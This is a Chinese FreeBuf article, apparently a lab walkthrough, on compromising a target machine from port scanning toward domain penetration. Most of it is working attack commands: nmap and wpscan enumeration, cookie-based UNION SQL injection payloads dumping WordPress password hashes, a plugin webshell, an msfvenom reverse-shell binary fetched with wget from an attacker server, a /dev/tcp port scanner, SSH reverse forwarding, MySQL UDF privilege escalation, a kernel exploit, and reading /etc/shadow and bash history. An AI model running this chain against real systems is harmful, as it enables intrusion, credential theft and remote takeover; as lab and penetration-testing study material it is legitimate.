freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

靶机端口扫描到域渗透(上)
2020-11-20 01:06:31

一、扫描端口

sudo nmap -sS -sC -p0-65535 target.com
-sS:tcp SYN方式扫描,是tcp半开式的扫描,速度较快
-sC:等价于--script=default,使用默认的脚本进行扫描
-p0-65535:指定全端口扫描

在对靶机的扫描中,发现只开放22和80端口,80端口是一个wordpress网站,进行下一步

二、web渗透

web信息枚举

目录扫描:

dirb target.com

WordPress 漏洞扫描:

wpscan --url target.com --enumerate ap,at,cb,dbe -o sandox-wpscan -f cli-no-color

漏洞搜索:

searchspliot ocean

wpscan扫描出ocean等组件,然后用searchsploit发现有sql注入等多个漏洞,进行下一步测试

SQl注入

通过searchsploit搜索到此处cookie中存在注入点

成功得到回显后,继续注入

["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]
#查找表名
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,table_name,11FROM information_s
chema.tables#"]
#查看有哪些字段
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,column_name,11FROM information_
schema.columns WHERE table_name='wp_users'#"]
#查看字段内容
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_login,11FROM wp_users#"
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_pass,11FROM wp_users#"]

拿到密码hash之后,可以使用kali的john工具和rockyou密码本尝试破解

john--wordlist=/usr/share/wordlists/rockyou.txt pass.txt

成功登录后台管理页面

后台管理页面getshell

后台在管理页面上传插件处,上传一个webshell

#安装seclists,用里面的插件来getshell
sudo apt install seclists
cd /seclists/Web-Shells/WordPress
#上传plugin-shell.zip,安装插件并测试
curl http://xx.xx/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami

通过msf生成一个shell,传到宿主机

#生成shell
msfvenom-p linux/x86/meterpreter/reverse_tcp LHOST=xx LPORT=443 -
f elf > shell.elf
#本地搭建http服务器
python3-m http.server 80
#宿主机远程下载shell
curl http://xx.xx/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=wget%20http://x.x.x.x/shell.elf
#shell文件加执行权限
curl http://xx.xx/wp-content/plugins/plugin-shell/plugin-shell.ph
p?cmd=chmod%20%2bx%20shell.elf
#本地开启监听
sudo msfconsole-q-x "use exploit/multi/handler;\
>             set PAYLOAD linux/x86/meterpreter/reverse_tcp;\
>             set LHOST x.x.x.x;\
>             set LPORT 443;\
>             run"
#触发
curl http://xx.xx/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=./shell.elf

继续枚举

使用msf来枚举信息

#进入msf的交互shell
shell
#枚举基本信息
ifonfig
hostname
cat /etc/issue
cat /proc/version
#查找数据库配置信息
pwd
#查看wp-config.php文件,找到数据库相关信息,包括数据库ip和密码
cat wp-config.php

端口转发到本地

#在msf里面上传nmap或编写脚本,在宿主机上进行端口扫描
upload /home/kali/portscan.sh /tmp/portscan.sh
chmod +x portscan.sh
#脚本内容如下
#!/bin/bash
host=x.x.x.x
for portin {1..65535}; do
timeout .1 bash-c "echo >/dev/tcp/$host/$port" &&
echo "port $port is open"
done
echo "Done"
#扫描得到宿主机开放3306和22端口,宿主机a.a.a.a公钥放在本地kali(x.x.x.x)
#进行端口22转发到本地kali的1122,3306转发到本地的13306
ssh-keygen
ssh -f -N -R 1122:a.a.a.a:22 -R 13306:10.5.5.11:3306 -o "UserKnownHostsFile=/dev/null"-o "StrictHostKeyChecking=no"-i /tmp/keys/id_rsa kali@x.x.x.x

数据库探测

#登录数据库
mysql --host=127.0.0.1 --port=13306 --user=wp -p
show grants
#查看权限情况
show grants
#查看数据库中的变量,寻找是否有敏感信息
show variables
#寻找数据库相关漏洞
searchsploit mysql

尝试udf提权

udf(Userdefined function)是用户自定义函数,可以通过写入自定义函数的方式提权

使用udf分三步:

1.把含义自定义函数(如执行系统命令函数“sys_eval”)的dll文件放入特定文件夹下。

2.声明引入这个dll文件中的自定义函数。

3.使用自定义的函数。

#udf提权基本操作
select @@plugin_dir
select binary 0xshellcode into dumpfile @@plugin_dir;
create function sys_exec returns int soname udf_filename;
select * from mysql.func where name='sys_exec'\G
#使用udf提权exp
git clone https://github.com/mysqludf/lib_mysqludf_sys.git
make
gcc -Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb
/server/private -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
#转换为16进制内容
xxd -p lib_mysqludf_sys.so | tr -d '\n' > lib_mysqludf_s
ys.so.hex

set @shell =0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b0001000000040
00000000000...00000000000000000000;
#检查变量定义是否成功
select @@plugin_dir
#执行导出文件夹,失败,提示无权限,没有dumpfile的权限
select binary @shell into dumpfile '/home/dev/plugin/udf_sys_exec.so

三、提权

使用searchsploit 模块寻找ubantu16.4相关的提权模块

searchsploit ubuntu 16.04
#找到一个合适的exp,进行编译
gcc 45010.c -o 45010
#在msf下传提权脚本到宿主机
upload /home/kali/45010 /tmp/
#执行
chmod +x 45010 && ./45010
#提权成功

寻找数据库登录凭据信息

#查看登录的用户信息
cat /etc/passwd && cat /etc/group && cat /etc/shadow
#查看登录用户的home目录
ll /home/xx
#查看目录下的.bash_history文件
#查看~/.bash_history文件,发现数据库root密码

数据库权限提升

#使用前面的方法
set @shell = 0x7f454c4602010100000000000000000003003e000100000000110
000000000004000000000000000e03b0000000000000000000040003800090040001c001b0001000000040
00000000000...00000000000000000000;
select @@plugin_dir;
select binary @shell into dumpfile '/home/dev/plugin/udf_sys_exec.so
create function sys_exec returns int soname 'udf_sys_exec.so';
select * from mysql.func where name='sys_exec';
#本机搭建http服务传文件
python3 -m http.server 80
#宿主机下载shell
select sys_exec('wget http://10.11.0.4/shell.elf');
select sys_exec('chmod +x ./shell.elf');
#监听并获得一个mysql用户的shell
whoami
-mysql

此时,我们已经有了root及mysql的权限,可以和一台宿主机交换公钥建立稳定的ssh,继续进行内网渗透

# 渗透技巧 # 渗透测试总结 # 渗透利用
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录